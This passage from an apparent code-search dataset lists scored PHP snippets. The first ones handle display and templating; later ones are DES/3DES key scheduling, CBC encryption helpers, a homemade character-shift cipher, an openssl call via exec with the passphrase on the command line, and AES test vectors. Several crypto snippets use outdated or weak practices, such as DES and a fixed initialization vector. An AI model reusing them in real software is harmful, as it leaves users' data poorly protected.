(oxConfig::getParameter(\"catfilter\") != \"\")? oxConfig::getParameter(\"catfilter\") :\"0\";\n\t\t$this->markfilter = (oxConfig::getParameter(\"markfilter\") != \"ohne\")? oxConfig::getParameter(\"markfilter\") :\"ohne\";\n\t\t$this->prodfilter = (oxConfig::getParameter(\"prodfilter\") != \"\")? oxConfig::getParameter(\"prodfilter\") :\"\";\n\t\t$this->groupvars = oxConfig::getParameter(\"groupvars\");\n\t\t$this->sort = oxConfig::getParameter(\"sort\");\n\t\t$this->netto = oxConfig::getParameter(\"netto\");\n\t\t$this->tpl = oxConfig::getParameter(\"tpl\");\n\t\t$this->fav = oxConfig::getParameter(\"fav\");\n\t\t$this->maxval = $this->toFloat(oxConfig::getParameter(\"maxumsatz\"));\n\t\t$this->minval = $this->toFloat(oxConfig::getParameter(\"minumsatz\"));\n\t\t$this->limit = intval(oxConfig::getParameter(\"limit\"));\n\n\n\t\t//Bereitstellen der Informationen Für das Template\n\t\t$oSmarty = oxUtilsView::getInstance()->getSmarty();\n\t\t$oSmarty->assign( \"oViewConf\", $this->_aViewData[\"oViewConf\"]);\n\t\t$oSmarty->assign( \"chart\", $this->chart);\n\t\t$oSmarty->assign( \"date\", date(\"Ymdhis\"));\n\t\t$oSmarty->assign( \"startdate\", $this->startdate);\n\t\t$oSmarty->assign( \"enddate\", $this->enddate);\n\t\t$oSmarty->assign( \"charts\", array($this->chart => \"checked\"));\n\t\t$oSmarty->assign( \"arts\", array($this->art => \"checked\"));\n\t\t$oSmarty->assign( \"catfilter\", array($this->catfilter => \"selected\"));\n\t\t$oSmarty->assign( \"groupvars\", $this->groupvars);\n\t\t$oSmarty->assign( \"prodfilter\", $this->prodfilter);\n\t\t$oSmarty->assign( \"sort\", $this->sort);\n\t\t$oSmarty->assign( \"netto\", $this->netto);\n\t\t$oSmarty->assign( \"hasMarketing\", $this->hasMarkCodes);\n\t\t$oSmarty->assign( \"elements\", $this->_elem);\n\t\t$oSmarty->assign( \"isjson\", $this->tpl);\n\t\tif($this->_total >0) $oSmarty->assign( \"avg\", round($this->_total/$this->_elem, 2));\n\t\t$oSmarty->assign( \"height\", ($this->chart == \"column\")?200+$this->_elem*15:\"100%\");\n\n\t\tif($this->fav != \"\")\n\t\t{\n\t\t\t$oSmarty->assign( \"json\", $this->save_conf($this->fav) );\n\t\t}else\n\t\t{\n\t\t\t$oSmarty->assign( \"json\", $this->getJSObject());\n\t\t}\n\n\t\treturn $this->_sThisTemplate;\n\t}", "title": "" }, { "docid": "86e417d5f696b61516687bc1a8fcbf7d", "score": "0.5587131", "text": "function pagechart()\n\t{\n\t\t\n\t\t$this->set('fbpage',$this->Session->read('fbpage'));\n\t\t$this->set('dt',$this->Session->read('dt'));\n\t}", "title": "" }, { "docid": "07219da7c7887179aa7d4ef3d4ed53e9", "score": "0.55855286", "text": "public static function should_display()\n {\n }", "title": "" }, { "docid": "617ba300e06430df0f4a8e8e30ceb4d6", "score": "0.55719954", "text": "public function displaySettings();", "title": "" }, { "docid": "cea2250e8757d77cee0f63b4976a6679", "score": "0.5569144", "text": "function set_values_before_show() {\n\t\tglobal $r;\n\t\tglobal $t;\n\t\tglobal $db;\n\t\tglobal $table_prefix;\n\n\t\t$t->set_var(\"saved_article_order\", $r->get_value(\"article_order\"));\n\t\t$t->set_var(\"saved_parent_article_id\", $r->get_value(\"parent_article_id\"));\n\t\t$alias_article_id = $r->get_value(\"alias_article_id\");\n\t\t$manual_id = $r->get_value(\"manual_id\", INTEGER);\n\t\tif ($alias_article_id != \"\") {\n\t\t\t// get alias article title and its manual\n\t\t\t$sql = \"SELECT a.article_title, a.section_number, m.manual_title FROM \" . $table_prefix . \"manuals_articles a\";\n\t\t\t$sql .= \" LEFT JOIN \" . $table_prefix.\"manuals_list m ON a.manual_id = m.manual_id\";\n\t\t\t$sql .= \" WHERE a.article_id = \" . $db->tosql($alias_article_id, INTEGER);\n\t\t\t//$sql .= \" AND m.manual_id = \" . $db->tosql($manual_id, INTEGER);\n\t\t\t\n\t\t\t$db->query($sql);\n\t\t\t\n\t\t\tif ($db->next_record()) {\n\t\t\t\t$alias_article_title = $db->f(\"section_number\");\n\t\t\t\t$alias_article_title .= \"&nbsp;\" . $db->f(\"article_title\");\n\t\t\t\t$alias_article_title .= \"(\" . $db->f(\"manual_title\") . \")\";\n\t\t\t\t$t->set_var(\"alias_article_title\", $alias_article_title);\n\t\t\t}\n\t\t} else {\n\t\t\t$t->set_var(\"alias_article_title\", \"\");\n\t\t}\n\t}", "title": "" }, { "docid": "2b381a5b9d86bfb44c2926a6d6712c67", "score": "0.5554669", "text": "public function display() { }", "title": "" }, { "docid": "3d84d93f1bc79fec7975122f8a847bb1", "score": "0.5554124", "text": "function render() {\r\n\t\t//First, update and apply filters and sorters, as they may have impact on select query\r\n\t\t$keys = array_keys($this->filters);\r\n\t\tforeach($keys as $k) {\r\n\t\t\t$this->filters[$k]->update();\r\n\t\t\t$this->filters[$k]->apply();\r\n\t\t}\r\n\t\t$keys = array_keys($this->sorters);\r\n\t\tforeach($keys as $k) {\r\n\t\t\t$this->sorters[$k]->update();\r\n\t\t\t$this->sorters[$k]->apply();\r\n\t\t}\r\n\r\n\t\t$elements = $this->contentProvider->getElements($this->input);\r\n\t\t\r\n\t\t$this->visualizeTableHeader($elements);\r\n\t\t\r\n\t\t$this->visualizeControlElements($elements);\r\n\r\n\t\t$index = 0;\r\n\t\tforeach($elements as $elem) {\r\n\t\t\t$this->visualizeRow($index++, $elem);\r\n\t\t}\r\n\t\t$this->visualizeTableFooter($elements);\r\n\t}", "title": "" }, { "docid": "5952145d557b0fcc2e9dc7e6f0394b18", "score": "0.55527866", "text": "function render_attributes()\r\n\t{\r\n\t\t$value = $this->get_value();\r\n\t\t\r\n\t\tif (!is_null($value))\r\n\t\t{\r\n\t\t\t$this->attributes['value'] = $value;\r\n\t\t} \r\n\t\telse\r\n\t\t{\r\n\t\t\t$this->attributes['value'] = '';\r\n\t\t}\r\n\t\t \r\n\t\tparent :: render_attributes();\r\n\t}", "title": "" }, { "docid": "f77d7db4b2167c8d0c5b2542bd3050af", "score": "0.5550562", "text": "function process() {\n // We always call the parent's method\n parent::process();\n\n $d = $this->getDocument();\n $values = array('Snoopy', 'Sally', 'Chuck', 'Linus');\n $d->setVariable('values', new IterableArray($values));\n }", "title": "" }, { "docid": "b8de24e572ae6144a91098b8d9cd4fb7", "score": "0.55500126", "text": "function set_value_and_text() {\n\t\t\n\t\t$value = $this->meta['value'];\n\t\t\n\t\tif ( empty($value) ) {\n\t\t\t$this->setHtml('value', '');\n\t\t\t$this->setHtml('text', '<em>Empty</em>');\t\n\t\t}\n\t\telse {\n\t\t\t$this->setHtml('value', $value);\n\t\t\t$this->setHtml('text', $value);\n\t\t}\n\t\t\n\t}", "title": "" }, { "docid": "f337a8a8fdfd9c6359edadc8d451a37f", "score": "0.5548606", "text": "function display() {\n\n\t\techo \"<pre>\";\n\t\techo \"<b>Numero: </b> \".$this->numero;\n\t\techo \"<br>\";\n\t\techo \"<b>Partenza: </b>\".$this->stazioneP;\n\t\techo \"</pre>\";\n\t\techo \"<hr>\";\n\n\n\t}", "title": "" }, { "docid": "36e321af86d79290b7c07aafd2e2bd3c", "score": "0.55482036", "text": "function render() \n {\t\t\t\t\t\t \n\t\t\t$model = new CalculatorModelsOrder();\n\t\t\t\n\t\t\t$model->Calculate(1);\n\t\t\tif($model->IsInnerPriceViewer()){\n\t\t\t\t$model->Calculate(0);\n\t\t\t}\n\t\t\t\n\t\t\t$model->MakeOrder();\n\t\t\t\n\t\t\t$cities = CalculatorModelsCity::GetCities();\n\t\t\t\n\t\t\t$terminals = array(\n\t\t\t\t'from' => CalculatorModelsTerminal::GetTerminalsByCity($model->city_from),\n\t\t\t\t'to' => CalculatorModelsTerminal::GetTerminalsByCity($model->city_to)\n\t\t\t);\n\t\t\t\t\t\t\n\t\t\t$this->model = $model;\n\t\t\t$this->cities = $cities;\n\t\t\t$this->terminals =$terminals;\n\t\t\t\n\t\t\treturn parent::render();\n }", "title": "" }, { "docid": "0685165fd5abd134aa1aaae302c7ba7a", "score": "0.55390036", "text": "public function displayContent() {}", "title": "" }, { "docid": "5e21b839d45838519656c42c93099825", "score": "0.5535093", "text": "protected function populateData()\n {\n }", "title": "" }, { "docid": "d7a2c28398f406c13c578d8a9c939092", "score": "0.55264145", "text": "public function tbOuputData()\n {\n $this->_tbCachePrepOutput();\n\n //IF UTF8 Support is needed then\n if (isset($this->utf8_support) && ($this->utf8_support)) {\n //keep the compatibility with the \"old\" fpdf utf8 support.\n if (isset($this->utf8_decoded)) $this->utf8_decoded = false;\n }\n }", "title": "" }, { "docid": "7846436efbaf3a8ca4ae89ae5e7255ed", "score": "0.5522071", "text": "function display_view()\n {\n // iterate over all widgets so that they can add their piece to the form\n foreach ($this->widgets as $name => $widget) {\n echo '<div class=\"title\" style=\"font-weight: bold;\">' . $this->_translate($this->_schema->fields[$name]['title']) . \"</div>\\n\";\n echo '<div class=\"value\" style=\"margin-left: 5em;\">';\n echo $widget->render_content();\n echo \"</div>\\n\";\n }\n }", "title": "" } ]
9dce84771e1f47f0fb8b34ed3c4ea245
Manage PDES Manage PDES
[ { "docid": "583639d6b4d3b2dd6f5b935eee83b155", "score": "0.4785856", "text": "function manage_pdes()\n {\n access_control($this, array('admin'));\n\n # Get the passed details into the url data array if any\n $urldata = $this->uri->uri_to_assoc(3, array('m', 'i'));\n # Pick all assigned data\n $data = assign_to_data($urldata);\n\n #print_r($data); exit();\n\n\n if(empty($data['level']))\n {\n \t$level = 'active';\n }\n else\n {\n \t$level = $data['level'];\n }\n $data['level'] = $level;\n switch ($level) {\n case 'active':\n # fetchcontent\n $data['status'] = 'active';\n $data = $this-> pde_m -> fetch_pdes('in',$data);\n # $this->load->view('pde/adons',$data);\n\n break;\n case 'archive':\n # fetch content\n $data['status'] = 'archive';\n $data = $this-> pde_m -> fetch_pdes('out',$data);\n # $this->load->view('pde/adons',$data);\n break;\n\n default:\n # do nothing ...\n $data = $this-> pde_m -> fetch_pdes('in',$data);\n break;\n }\n\n\n\n # FETCH ACTIVE AND INACTIVE PDES\n # $data = $this->pde_m->fetch_pdes('in', $data);\n // = $this-> pde_m -> fetch_pdes('out',$data);\n\n $data = add_msg_if_any($this, $data);\n\n $data = handle_redirected_msgs($this, $data);\n\n $data['page_title'] = 'Manage PDE\\'s';\n $data['current_menu'] = 'view_pdes';\n $data['view_to_load'] = 'pde/manage_pda_v';\n $data['view_data']['form_title'] = $data['page_title'];\n\t $data['search_url'] = 'admin/search_pdes';\n $this->load->view('dashboard_v', $data);\n\n\n }", "title": "" } ]
[ { "docid": "61e4dfa6c44147e4a8588ce1fc89e3c6", "score": "0.6278337", "text": "function des_createKeys ($key) {\n //declaring this locally speeds things up a bit \n $pc2bytes0 = array (0,0x4,0x20000000,0x20000004,0x10000,0x10004,0x20010000,0x20010004,0x200,0x204,0x20000200,0x20000204,0x10200,0x10204,0x20010200,0x20010204); \n $pc2bytes1 = array (0,0x1,0x100000,0x100001,0x4000000,0x4000001,0x4100000,0x4100001,0x100,0x101,0x100100,0x100101,0x4000100,0x4000101,0x4100100,0x4100101); \n $pc2bytes2 = array (0,0x8,0x800,0x808,0x1000000,0x1000008,0x1000800,0x1000808,0,0x8,0x800,0x808,0x1000000,0x1000008,0x1000800,0x1000808); \n $pc2bytes3 = array (0,0x200000,0x8000000,0x8200000,0x2000,0x202000,0x8002000,0x8202000,0x20000,0x220000,0x8020000,0x8220000,0x22000,0x222000,0x8022000,0x8222000); \n $pc2bytes4 = array (0,0x40000,0x10,0x40010,0,0x40000,0x10,0x40010,0x1000,0x41000,0x1010,0x41010,0x1000,0x41000,0x1010,0x41010); \n $pc2bytes5 = array (0,0x400,0x20,0x420,0,0x400,0x20,0x420,0x2000000,0x2000400,0x2000020,0x2000420,0x2000000,0x2000400,0x2000020,0x2000420); \n $pc2bytes6 = array (0,0x10000000,0x80000,0x10080000,0x2,0x10000002,0x80002,0x10080002,0,0x10000000,0x80000,0x10080000,0x2,0x10000002,0x80002,0x10080002); \n $pc2bytes7 = array (0,0x10000,0x800,0x10800,0x20000000,0x20010000,0x20000800,0x20010800,0x20000,0x30000,0x20800,0x30800,0x20020000,0x20030000,0x20020800,0x20030800); \n $pc2bytes8 = array (0,0x40000,0,0x40000,0x2,0x40002,0x2,0x40002,0x2000000,0x2040000,0x2000000,0x2040000,0x2000002,0x2040002,0x2000002,0x2040002); \n $pc2bytes9 = array (0,0x10000000,0x8,0x10000008,0,0x10000000,0x8,0x10000008,0x400,0x10000400,0x408,0x10000408,0x400,0x10000400,0x408,0x10000408); \n $pc2bytes10 = array (0,0x20,0,0x20,0x100000,0x100020,0x100000,0x100020,0x2000,0x2020,0x2000,0x2020,0x102000,0x102020,0x102000,0x102020); \n $pc2bytes11 = array (0,0x1000000,0x200,0x1000200,0x200000,0x1200000,0x200200,0x1200200,0x4000000,0x5000000,0x4000200,0x5000200,0x4200000,0x5200000,0x4200200,0x5200200); \n $pc2bytes12 = array (0,0x1000,0x8000000,0x8001000,0x80000,0x81000,0x8080000,0x8081000,0x10,0x1010,0x8000010,0x8001010,0x80010,0x81010,0x8080010,0x8081010); \n $pc2bytes13 = array (0,0x4,0x100,0x104,0,0x4,0x100,0x104,0x1,0x5,0x101,0x105,0x1,0x5,0x101,0x105); \n $masks = array (4294967295,2147483647,1073741823,536870911,268435455,134217727,67108863,33554431,16777215,8388607,4194303,2097151,1048575,524287,262143,131071,65535,32767,16383,8191,4095,2047,1023,511,255,127,63,31,15,7,3,1,0); \n\n //how many iterations (1 for des, 3 for triple des) \n $iterations = ((strlen($key) >= 24) ? 3 : 1); \n //stores the return keys \n $keys = array (); // size = 32 * iterations but you don't specify this in php \n //now define the left shifts which need to be done \n $shifts = array (0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0); \n //other variables \n $m=0; \n $n=0; \n \n for ($j=0; $j<$iterations; $j++) { //either 1 or 3 iterations \n $left = (ord($key{$m++}) << 24) | (ord($key{$m++}) << 16) | (ord($key{$m++}) << 8) | ord($key{$m++}); \n $right = (ord($key{$m++}) << 24) | (ord($key{$m++}) << 16) | (ord($key{$m++}) << 8) | ord($key{$m++}); \n\n $temp = (($left >> 4 & $masks[4]) ^ $right) & 0x0f0f0f0f; $right ^= $temp; $left ^= ($temp << 4); \n $temp = (($right >> 16 & $masks[16]) ^ $left) & 0x0000ffff; $left ^= $temp; $right ^= ($temp << -16); \n $temp = (($left >> 2 & $masks[2]) ^ $right) & 0x33333333; $right ^= $temp; $left ^= ($temp << 2); \n $temp = (($right >> 16 & $masks[16]) ^ $left) & 0x0000ffff; $left ^= $temp; $right ^= ($temp << -16); \n $temp = (($left >> 1 & $masks[1]) ^ $right) & 0x55555555; $right ^= $temp; $left ^= ($temp << 1); \n $temp = (($right >> 8 & $masks[8]) ^ $left) & 0x00ff00ff; $left ^= $temp; $right ^= ($temp << 8); \n $temp = (($left >> 1 & $masks[1]) ^ $right) & 0x55555555; $right ^= $temp; $left ^= ($temp << 1); \n \n //the right side needs to be shifted and to get the last four bits of the left side \n $temp = ($left << 8) | (($right >> 20 & $masks[20]) & 0x000000f0); \n //left needs to be put upside down \n $left = ($right << 24) | (($right << 8) & 0xff0000) | (($right >> 8 & $masks[8]) & 0xff00) | (($right >> 24 & $masks[24]) & 0xf0); \n $right = $temp; \n \n //now go through and perform these shifts on the left and right keys \n for ($i=0; $i < count($shifts); $i++) { \n //shift the keys either one or two bits to the left \n if ($shifts[$i] > 0) { \n $left = (($left << 2) | ($left >> 26 & $masks[26])); \n $right = (($right << 2) | ($right >> 26 & $masks[26])); \n } else { \n $left = (($left << 1) | ($left >> 27 & $masks[27])); \n $right = (($right << 1) | ($right >> 27 & $masks[27])); \n } \n $left = $left & -0xf; \n $right = $right & -0xf; \n \n //now apply PC-2, in such a way that E is easier when encrypting or decrypting \n //this conversion will look like PC-2 except only the last 6 bits of each byte are used \n //rather than 48 consecutive bits and the order of lines will be according to \n //how the S selection functions will be applied: S2, S4, S6, S8, S1, S3, S5, S7 \n $lefttemp = $pc2bytes0[$left >> 28 & $masks[28]] | $pc2bytes1[($left >> 24 & $masks[24]) & 0xf] \n | $pc2bytes2[($left >> 20 & $masks[20]) & 0xf] | $pc2bytes3[($left >> 16 & $masks[16]) & 0xf] \n | $pc2bytes4[($left >> 12 & $masks[12]) & 0xf] | $pc2bytes5[($left >> 8 & $masks[8]) & 0xf] \n | $pc2bytes6[($left >> 4 & $masks[4]) & 0xf]; \n $righttemp = $pc2bytes7[$right >> 28 & $masks[28]] | $pc2bytes8[($right >> 24 & $masks[24]) & 0xf] \n | $pc2bytes9[($right >> 20 & $masks[20]) & 0xf] | $pc2bytes10[($right >> 16 & $masks[16]) & 0xf] \n | $pc2bytes11[($right >> 12 & $masks[12]) & 0xf] | $pc2bytes12[($right >> 8 & $masks[8]) & 0xf] \n | $pc2bytes13[($right >> 4 & $masks[4]) & 0xf]; \n $temp = (($righttemp >> 16 & $masks[16]) ^ $lefttemp) & 0x0000ffff; \n $keys[$n++] = $lefttemp ^ $temp; $keys[$n++] = $righttemp ^ ($temp << 16); \n } \n }\n return $keys;\n }", "title": "" }, { "docid": "4a3c6c3a56ec6582fe41188529214611", "score": "0.60418874", "text": "function desCbcEncryptToBase64($key, $data)\r\n{\r\n $iv = generateFixedDesInitvector();\r\n //$iv = generateRandomDesInitvector();\r\n $ciphertext = openssl_encrypt($data, 'des-cbc', $key, OPENSSL_RAW_DATA, $iv);\r\n return base64_encode($iv) . ':' . base64_encode($ciphertext);\r\n}", "title": "" }, { "docid": "bf981d457ea0095aaa3fddab0ec18557", "score": "0.5989925", "text": "function BASE64URL_symmetric_decipher($dato, $key, $vector)\n\t{\n\n\t\t$tamVI = strlen($vector);\n\n\t\tif($tamVI != 16){\n\t\t\ttrigger_error(\"Initialization Vector must have 16 hexadecimal characters\", E_USER_ERROR);\n\t\t\treturn null;\n\t\t}\n\t\tif(strlen($key) != 16){\n\t\t\ttrigger_error(\"Simetric Key doesn't have length of 16\", E_USER_ERROR);\n\n\t\t\treturn null;\n\t\t}\n\n\t\t$binvi = pack(\"H*\", $vector);\n\n\t\tif($binvi == null){\n\t\t\ttrigger_error(\"Initialization Vector is not valid, must contain only hexadecimal characters\", E_USER_ERROR);\n\n\t\t\treturn null;\n\n\t\t}\n\t\t$key .= substr($key,0,8); // agrega los primeros 8 bytes al final\n\n\n\t\t$pas = preg_replace('/_/','/',$dato);\n\t\t$pas = preg_replace('/-/','+',$pas);\n\t\t$pas = preg_replace('/\\./','=',$pas);\n\n\n\n\n\t\t$crypttext = base64_decode($pas);\n\n\t\t$crypttext2 = mcrypt_decrypt(MCRYPT_3DES, $key, $crypttext, MCRYPT_MODE_CBC, $binvi);\n\n\n\t\t$block = mcrypt_get_block_size('tripledes', 'cbc');\n\t\t$packing = ord($crypttext2{strlen($crypttext2) - 1});\n\t\tif($packing and ($packing < $block))\n\t\t{\n\t\t\tfor($P = strlen($crypttext2) - 1; $P >= strlen($crypttext2) - $packing; $P--)\n\t\t\t{\n\t\t\t\tif(ord($crypttext2{$P}) != $packing)\n\t\t\t\t{\n\t\t\t\t\t$packing = 0;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t$crypttext2 = substr($crypttext2,0,strlen($crypttext2) - $packing);\n\t\treturn $crypttext2;\n\t}", "title": "" }, { "docid": "9705a0659199511da1b9c8eb51f2a062", "score": "0.5876849", "text": "function encrypt($str)\n{\n$encrypted_str=openssl_encrypt($str,'DES-ECB',$key);\nreturn $encrypted_str;\t\n}", "title": "" }, { "docid": "6ce58e7f058fff2ec6b55759978cdb7d", "score": "0.58470887", "text": "function mcrypt_cbc () {}", "title": "" }, { "docid": "da27a443ddf20c9ad82bf05f8d6b3a4a", "score": "0.584091", "text": "function des2CbcEncryptToBase64($key, $data)\r\n{\r\n $iv = generateFixedDesInitvector();\r\n // $iv = generateRandomDesInitvector();\r\n $ciphertext = openssl_encrypt($data, 'des-ede-cbc', $key, OPENSSL_RAW_DATA, $iv);\r\n return base64_encode($iv) . ':' . base64_encode($ciphertext);\r\n}", "title": "" }, { "docid": "29dc628e423e0d665099ba1f50e9ff46", "score": "0.58173215", "text": "function des3CbcEncryptToBase64($key, $data)\r\n{\r\n $iv = generateFixedDesInitvector();\r\n // $iv = generateRandomDesInitvector();\r\n $ciphertext = openssl_encrypt($data, 'des-ede3-cbc', $key, OPENSSL_RAW_DATA, $iv);\r\n return base64_encode($iv) . ':' . base64_encode($ciphertext);\r\n}", "title": "" }, { "docid": "eddc18f8cab8dfb2362680d14330c87d", "score": "0.5744816", "text": "private function decrypt_d(){\n\t\t$startt = microtime(true);\n\t\t$rand = rand() % 1000;\n\t\t$startp = (int)(($startt - (int)($startt)) * 10000);\n\t\t$start = $startp .\"_\". $rand;\n\t\t\n\t\t$crypt=\"Salted__\";\n\t\t$crypt.=pack(\"H*\",$this->gstring);\n//\t\t$crypt.=base64_decode($this->gstring);\n\t\tfile_put_contents(\"/tmp/wm5-crypt-$start.bin\",$crypt);\n\t\texec(\"openssl enc -d -bf -pass pass:\".self::$pass.\" -in /tmp/wm5-crypt-$start.bin\",$data,$retvar);\n\t\tunlink(\"/tmp/wm5-crypt-$start.bin\");\n\t\tif($retvar != 0) {\n\t\t\t$this -> error(\"Decryption Failure\",$data);\n\t\t\treturn false;\n\t\t}\n\t\treturn $data;\n\t}", "title": "" }, { "docid": "fb76eb7c6644849f2d3ddee128c74b97", "score": "0.5700499", "text": "function mcrypt_decrypt () {}", "title": "" }, { "docid": "4dbc166ff7cb7fc57be90f47132c6507", "score": "0.5647619", "text": "function crypt_password_des($password='')\n {\n return des($password);\n }", "title": "" }, { "docid": "989ea348373c6a98f120a81a7477a0c7", "score": "0.55823296", "text": "private function encryptionSetter(){\n\t// Connect to server and select databse.\n\t\t$con = new PDO('mysql:host='.$this->dbhost.';dbname='.$this->dbname.';charset=utf8', ''.$this->dbuser.'', ''.$this->dbpass.'', array(PDO::ATTR_EMULATE_PREPARES => false, PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION));\n\t\t\n\t\tif (!$con){\n\t\t\tdie('Could not connect: ' . mysql_error());\n\t\t\t}\n\t\t\t\n\t$result = $con->prepare(\"select pass from encryption_pass where id = (select max(id) from encryption_pass)\");\n\t$result->execute();\n\t$row = $result->fetch(PDO::FETCH_ASSOC);\n\t$this->encryption_password = $row['pass'];\n\t}", "title": "" }, { "docid": "9dc558a252d26a5ae3363de2be430b85", "score": "0.55538535", "text": "function ecams_encrypt($pass,$key){\n\t\t$iv=\"testtest\";//the size of initialisation vector should be 8.\n\t\t$pass=mcrypt_encrypt(MCRYPT_DES,$key,$pass,MCRYPT_MODE_CBC,$iv);\n\t\treturn bin2hex($pass);\n\t}", "title": "" }, { "docid": "57ff53ff981682722863814d4fa22e64", "score": "0.5473933", "text": "function mcrypt_ecb () {}", "title": "" }, { "docid": "f8e3c815c935749ef76b2ab2d5e23c20", "score": "0.5437907", "text": "function decrypt($cad_des,$llave)\r\n{\r\n\t$cadena\t\t= base64_decode($cad_des);\r\n\t$long_lla\t= strlen($llave);\r\n\t$long_des\t= strlen($cadena);\r\n\t$sum\t\t= 0;\r\n\tfor($i=0;$i<$long_lla;$i++)\r\n\t{\r\n\t\t$asc_lla\t= ord($llave[$i]);\r\n\t\t$sum\t\t= $sum+(($asc_lla*4)/3); \r\n\t}\r\n\t$cad_ori = '';\r\n\tfor($i=0;$i<$long_des;$i++)\r\n\t{\r\n\t\t$asc_cad_des\t= ord($cadena[$i])-$sum;\r\n\t\t$cad_ori\t\t.=\tchr($asc_cad_des);\r\n\t}\r\n\treturn $cad_ori;\r\n}", "title": "" }, { "docid": "eeed8c3796128689bff8e9bf303aad0b", "score": "0.5402584", "text": "public function provider_decode()\n\t{\n\t\treturn [\n\t\t\t[\n\t\t\t\t// mode\n\t\t\t\tMCRYPT_MODE_CBC,\n\t\t\t\t// cypher\n\t\t\t\tMCRYPT_RIJNDAEL_128,\n\t\t\t\t// key\n\t\t\t\tpack(\"H*\", \"6a7082cf8cda13eff48c8158dda206ae\"),\n\t\t\t\t// IV\n\t\t\t\tpack(\"H*\", \"bd4172934078c2011cb1f31cffaf486e\"),\n\t\t\t\t// txt_encoded\n\t\t\t\tpack(\"H*\", \"f8eb31b31e374e960030cd1cadb0ef0c\"),\n\t\t\t\t// txt_plain\n\t\t\t\tpack(\"H*\", \"940bc76d61e2c49dddd5df7f37fcf105\"),\n\t\t\t],\n\t\t\t[\n\t\t\t\t// mode\n\t\t\t\tMCRYPT_MODE_CBC,\n\t\t\t\t// cypher\n\t\t\t\tMCRYPT_RIJNDAEL_128,\n\t\t\t\t// key\n\t\t\t\tpack(\"H*\", \"625eefa18a4756454e218d8bfed56e36\"),\n\t\t\t\t// IV\n\t\t\t\tpack(\"H*\", \"73d9d0e27c2ec568fbc11f6a0998d7c8\"),\n\t\t\t\t// txt_encoded\n\t\t\t\tpack(\"H*\", \"5d6fed86f0c4fe59a078d6361a142812514b295dc62ff5d608a42ea37614e6a1\"),\n\t\t\t\t// txt_plain\n\t\t\t\tpack(\"H*\", \"360dc1896ce601dfb2a949250067aad96737847a4580ede2654a329b842fe81e\"),\n\t\t\t],\n\t\t\t[\n\t\t\t\t// mode\n\t\t\t\tMCRYPT_MODE_CBC,\n\t\t\t\t// cypher\n\t\t\t\tMCRYPT_RIJNDAEL_128,\n\t\t\t\t// key\n\t\t\t\tpack(\"H*\", \"fd6e0b954ae2e3b723d6c9fcae6ab09b\"),\n\t\t\t\t// IV\n\t\t\t\tpack(\"H*\", \"f08b65c9f4dd950039941da2e8058c4e\"),\n\t\t\t\t// txt_encoded\n\t\t\t\tpack(\"H*\", \"e29e3114c8000eb484395b256b1b3267894f290d3999819ff35da03e6463c186c4d7ebb964941f1986a2d69572fcaba8\"),\n\t\t\t\t// txt_plain\n\t\t\t\tpack(\"H*\", \"a206385945b21f812a9475f47fddbb7fbdda958a8d14c0dbcdaec36e8b28f1f6ececa1ceae4ce17721d162c1d42a66c1\"),\n\t\t\t],\n\t\t\t[\n\t\t\t\t// mode\n\t\t\t\tMCRYPT_MODE_CBC,\n\t\t\t\t// cypher\n\t\t\t\tMCRYPT_RIJNDAEL_128,\n\t\t\t\t// key\n\t\t\t\tpack(\"H*\", \"7b1ab9144b0239315cd5eec6c75663bd\"),\n\t\t\t\t// IV\n\t\t\t\tpack(\"H*\", \"0b1e74f45c17ff304d99c059ce5cde09\"),\n\t\t\t\t// txt_encoded\n\t\t\t\tpack(\"H*\", \"d3f89b71e033070f9d7516a6cb4ea5ef51d6fb63d4f0fea089d0a60e47bbb3c2e10e9ba3b282c7cb79aefe3068ce228377c21a58fe5a0f8883d0dbd3d096beca\"),\n\t\t\t\t// txt_plain\n\t\t\t\tpack(\"H*\", \"b968aeb199ad6b3c8e01f26c2edad444538c78bfa36ed68ca76123b8cdce615a01f6112bb80bfc3f17490578fb1f909a52e162637b062db04efee291a1f1af60\"),\n\t\t\t],\n\t\t\t[\n\t\t\t\t// mode\n\t\t\t\tMCRYPT_MODE_CBC,\n\t\t\t\t// cypher\n\t\t\t\tMCRYPT_RIJNDAEL_128,\n\t\t\t\t// key\n\t\t\t\tpack(\"H*\", \"36466b6bd25ea3857ea42f0cac1919b1\"),\n\t\t\t\t// IV\n\t\t\t\tpack(\"H*\", \"7186fb6bdfa98a16189544b228f3bcd3\"),\n\t\t\t\t// txt_encoded\n\t\t\t\tpack(\"H*\", \"9ed957bd9bc52bba76f68cfbcde52157a8ca4f71ac050a3d92bdebbfd7c78316b4c9f0ba509fad0235fdafe90056ad115dfdbf08338b2acb1c807a88182dd2a882d1810d4302d598454e34ef2b23687d\"),\n\t\t\t\t// txt_plain\n\t\t\t\tpack(\"H*\", \"999983467c47bb1d66d7327ab5c58f61ddb09b93bd2460cb78cbc12b5fa1ea0c5f759ccc5e478697687012ff4673f6e61eecaeda0ccad2d674d3098c7d17f887b62b56f56b03b4d055bf3a4460e83efa\"),\n\t\t\t],\n\t\t\t[\n\t\t\t\t// mode\n\t\t\t\tMCRYPT_MODE_CBC,\n\t\t\t\t// cypher\n\t\t\t\tMCRYPT_RIJNDAEL_128,\n\t\t\t\t// key\n\t\t\t\tpack(\"H*\", \"89373ee6e28397640d5082eed4123239\"),\n\t\t\t\t// IV\n\t\t\t\tpack(\"H*\", \"1a74d7c859672c804b82472f7e6d3c6b\"),\n\t\t\t\t// txt_encoded\n\t\t\t\tpack(\"H*\", \"1bcba44ddff503db7c8c2ec4c4eea0e827957740cce125c1e11769842fa97e25f1b89269e6d77923a512a358312f4ba1cd33f2d111280cd83e1ef9e7cf7036d55048d5c273652afa611cc81b4e9dac7b5078b7c4716062e1032ead1e3329588a\"),\n\t\t\t\t// txt_plain\n\t\t\t\tpack(\"H*\", \"45efd00daa4cdc8273ef785cae9e944a7664a2391e1e2c449f475acec0124bbc22944331678617408a1702917971f4654310ffb9229bec6173715ae512d37f93aaa6abf009f7e30d65669d1db0366b5bce4c7b00f871014f5753744a1878dc57\"),\n\t\t\t],\n\t\t\t[\n\t\t\t\t// mode\n\t\t\t\tMCRYPT_MODE_CBC,\n\t\t\t\t// cypher\n\t\t\t\tMCRYPT_RIJNDAEL_128,\n\t\t\t\t// key\n\t\t\t\tpack(\"H*\", \"bab0cceddc0abd63e3f82e9fbff7b8aa\"),\n\t\t\t\t// IV\n\t\t\t\tpack(\"H*\", \"68b9140f300490c5c942f66e777eb806\"),\n\t\t\t\t// txt_encoded\n\t\t\t\tpack(\"H*\", 